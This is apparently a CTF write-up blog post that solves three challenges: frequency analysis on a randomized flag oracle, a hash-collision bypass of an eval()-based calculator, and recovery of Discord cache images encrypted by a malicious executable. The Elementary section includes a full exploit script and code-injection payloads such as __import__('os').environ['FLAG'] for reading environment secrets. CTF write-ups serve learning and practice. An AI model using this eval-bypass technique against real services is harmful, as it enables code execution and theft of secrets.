Introduction
so i kinda forgot what this ctf was all about. anyways here are a few writeups i dug up.
Crypto
Incantation
While walking through a meadow, you find a magical book on the ground. The letters seem to be dancing off the page, dancing to a rhythm of a song you used to know, but you can’t quite make them out.
nc incantation.chal.cubectf.com 5757
Author: @B00TK1D
it was a binary that kinda gives you random characters replacing them in a flag.
lowk mad lazy rn but basically the logic made it so that the characters of the flag will appear more often in each respective index, just querying a lot of times and doing a frequency analysis give syou the flag
Elementary
I made a calculator for elementary students. I made sure it can only do basic operations, so it should be safe.
nc elementary.chal.cubectf.com 3456Author: @B00TK1D
from the given source, we see that the script is giving us eval(). this lets us execute arbitrary code, but it verifies that what we are trying to do is actually a valid calculator expression (or plausible, using a regex) before letting us execute it
the key vulnerability is that it actually hashes all operations we give it, and if the hash of the operation we give has been previously verified, it ignores verification and directly runs it
Here is the solution outline
- Find a hash collision, where a valid calculator expression and a payload to read the flag from the environ FLAG have the same hash (note that the hash algo only uses 6 bytes, so brute-force is feasible)
- Submit the valid expression first to have the shared hash marked as “safe”
- Submit the payload. Since it has the same hash, it will be run and give us the flag from environ FLAG.
#!/usr/bin/env python3from pwn import *import randomimport multiprocessingimport timeimport string
# The hash function from the challengedef h(data: str) -> bytes: b = data.encode("utf-8")
h1 = 0x1234567890AB h2 = 0xFEDCBA098765
for i in range(len(b)): byte = b[i] shift = (i % 6) * 6
if i % 2 == 0: h1 ^= byte << shift h1 = (h1 * 0x100000001B3) & 0xFFFFFFFFFFFF else: h2 ^= byte << shift h2 = (h2 * 0xC6A4A7935BD1) & 0xFFFFFFFFFFFF
result = h1 ^ ((h2 << 24) | (h2 >> 24)) result = (result ^ (result >> 25)) * 0xFF51AFD7ED55 result &= 0xFFFFFFFFFFFFFFFF result = (result ^ (result >> 25)) * 0xC4CEB9FE1A85 result &= 0xFFFFFFFFFFFFFFFF result ^= result >> 25
return result.to_bytes(8, "big")[:6]
def generate_valid_string(): """Generate a random string that passes validation""" allowed_chars = "0123456789+-*/. " length = random.randint(1, 10) # Vary the length return "".join(random.choice(allowed_chars) for _ in range(length))
def generate_payloads(count=1000): """Generate many unique payload variations""" base_payloads = [ "__import__('os').environ['FLAG']", "__import__('os').getenv('FLAG')", "__import__('os').environ.get('FLAG')", "getattr(__import__('os'),'environ')['FLAG']", ]
payloads = []
# Generate random comment content def random_comment(): length = random.randint(0, 20) return "".join( random.choice(string.ascii_letters + string.digits) for _ in range(length) )
# Generate a random number of spaces def random_spaces(): return " " * random.randint(0, 5)
# Create variations with spaces and comments for _ in range(count): base = random.choice(base_payloads)
# Decide what kind of variation to make variation_type = random.randint(1, 3)
if variation_type == 1: # Spaces after payload = base + random_spaces() elif variation_type == 2: # Comment after payload = base + "#" + random_comment() elif variation_type == 3: payload = base + random_spaces() + "#" + random_comment() else: payload = base
payloads.append(payload)
# Make sure we have unique payloads unique_payloads = list(set(payloads)) print(f"[*] Generated {len(unique_payloads)} unique payloads from {count} attempts")
return unique_payloads
def worker(proc_id, valid_hashes, payload_hashes, result_queue, stop_event): """Worker process to find hash collision using birthday attack""" count = 0 start_time = time.time() batch_size = 10000
print( f"[*] Process {proc_id}: Started with {len(payload_hashes)} payload variations" )
while not stop_event.is_set(): # Generate a batch of valid strings valid_strings = [generate_valid_string() for _ in range(batch_size)] count += batch_size
for valid_str in valid_strings: if stop_event.is_set(): break
valid_hash = h(valid_str) hex_hash = valid_hash.hex()
# Check if this valid string collides with any payload if hex_hash in payload_hashes: payload = payload_hashes[hex_hash] print(f"[+] Process {proc_id}: Found collision!") print(f"VALID STRING IS {valid_str}") print(f"PAYLOAD IS {payload}") result_queue.put((valid_str, payload)) stop_event.set() break
# Store this valid string's hash valid_hashes[hex_hash] = valid_str
# Report progress if count % 100000 == 0: elapsed = time.time() - start_time rate = count / elapsed if elapsed > 0 else 0 print( f"[*] Process {proc_id}: {count} strings checked, {rate:.2f}/sec, {len(valid_hashes)} unique" )
def main(): manager = multiprocessing.Manager() valid_hashes = manager.dict() payload_hashes = manager.dict() result_queue = multiprocessing.Queue() stop_event = multiprocessing.Event()
# Generate many payload variations and their hashes payloads = generate_payloads(count=20_000_000)
for payload in payloads: payload_hash = h(payload).hex() payload_hashes[payload_hash] = payload
print(f"[*] Generated {len(payload_hashes)} unique payload hashes")
# Start worker processes num_processes = 8 # Use all cores processes = [] for i in range(num_processes): p = multiprocessing.Process( target=worker, args=(i, valid_hashes, payload_hashes, result_queue, stop_event), ) p.start() processes.append(p)
# Wait for result while not stop_event.is_set(): if not result_queue.empty(): valid_str, payload = result_queue.get() stop_event.set()
print(f"[+] Found collision!") print(f"[+] Valid string: '{valid_str}'") print(f"[+] Payload: '{payload}'") print(f"[+] Hash: {h(valid_str).hex()}")
time.sleep(0.1)
# Cleanup for p in processes: p.terminate() p.join()
if __name__ == "__main__": main()after running for a while we can see:
[+] Process 7: Found collision!VALID STRING IS *+5592PAYLOAD IS getattr(__import__('os'),'environ')['FLAG']#iFIw66TjPthen submitting those two in that order gives us the flag:
cube{3l3m3nt4ry_mY_d34r_w47s0n_181c2f60}
Forensics
Discord
I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back! Authors: @poke_player and @ajmeese7
upon download and decompress the disk image we get an AD1 file. so we gotta use FTK imager. i am a mac/linux user so i had to boot up my windows vm.
FTK imager loads the AD1 easily, we can browse the user’s folders/files.
immediately i go to check the discord cache. surprisingly, by looking at my own system, images are actually stored in the cache (ask ChatGPT for details since it can probably explain better)
but in the image, all files there are .enc
in his download folder we find a suspicious .exe. taking it out of the VM and doing a little bit of rev (upx unpack), we find that it is a PyInstaller binary.
using some nice tools we can extract the python script and decompile the .pyc
it does some sort of aes encryption that we need to reverse, it’s pretty trivial to do so:
from pathlib import Pathfrom Cryptodome.Cipher import AESfrom Cryptodome.Protocol.KDF import PBKDF2from Cryptodome.Util.Padding import unpad
# Parametersuser_id = b"1334198101459861555" # gotten from his filessalt = b'BBBBBBBBBBBBBBBB'iv = b'BBBBBBBBBBBBBBBB'enc_dir = Path("/Users/colin/Public/Cache_Data")
# Derive AES keykey = PBKDF2(user_id, salt, dkLen=32, count=1_000_000)
# Process all .enc filesfor file in enc_dir.glob("*.enc"): with open(file, "rb") as f: ciphertext = f.read() try: cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(ciphertext), 16) out_file = file.with_suffix(".bin") with open(out_file, "wb") as f: f.write(decrypted) print(f"[+] Decrypted {file.name} -> {out_file.name}") except Exception as e: print(f"[!] Failed: {file.name} - {e}")this gives us a load of images, one of them has the flag